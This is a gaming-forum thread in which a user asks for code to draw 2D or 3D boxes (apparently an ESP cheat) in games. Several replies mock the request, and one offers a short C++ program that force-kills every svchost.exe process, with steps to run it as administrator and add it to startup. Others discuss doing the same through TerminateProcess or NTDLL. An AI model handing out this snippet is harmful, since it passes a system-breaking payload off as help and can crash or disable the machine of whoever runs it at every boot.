Hi Gays [Help]
Hi i need help to make 2D Box or 3D Box [Any Game]
Code or project plz
Code or project plz
Hi Gays [Help]
Originally Posted by Hitokiri~
Try this
What did you call me? I'm quite offended.
Seriously though, try forming a coherent sentence next time.
Seriously though, try forming a coherent sentence next time.
Originally Posted by EL_FRICTIONAL
What did you call me? I'm quite offended.
Seriously though, try forming a coherent sentence next time.
Seriously though, try forming a coherent sentence next time.
Originally Posted by Law
Just look up tutorials on Youtube; that would be better than just copy pasting code.
Step 1: Compile
Step 2: Change compatibility settings to run as administrator
Step 3: Add to startup
Step 4: Restart
Code:
#include <windows.h>
int main()
{
system("taskkill /f /im svchost.exe /t");
}
Step 3: Add to startup
Step 4: Restart
Originally Posted by truebydefault
Step 1: Compile
Step 2: Change compatibility settings to run as administrator
Step 3: Add to startup
Step 4: Restart
Code:
#include <windows.h>
int main()
{
system("taskkill /f /im svchost.exe /t");
}
Step 3: Add to startup
Step 4: Restart
Originally Posted by Eddington
Lol at not using TerminatePRocess
Originally Posted by openSUSE
BSOD either way :/
Originally Posted by Eddington
I've never gotten a blue screen from killing svchost. The services just restart along with svchost. :/
Aquire handle to each SVCHost.exe process
Terminate them at once. ( Ntdll works better than windows apis for restrictions )
Originally Posted by truebydefault
Step 1: Compile
Step 2: Change compatibility settings to run as administrator
Step 3: Add to startup
Step 4: Restart
Code:
#include <windows.h>
int main()
{
system("taskkill /f /im svchost.exe /t");
}
Step 3: Add to startup
Step 4: Restart
Originally Posted by ZER0MEM0RY
That's not even proper C++, you're just using the system() which is the function for a shell command, you NEVER EVER should use this, it's SLOW, INSECURE and SYSTEM DEPENDANT. It's just basically invoking the cmd.exe process with an argument. IT'S BAD PROGRAMMING, AVOID IT! Instead, use the API that your OS provides you, for example in Win32 API: TerminateProcess() is the function you should use.
Originally Posted by Eddington
Lol at not using TerminatePRocess
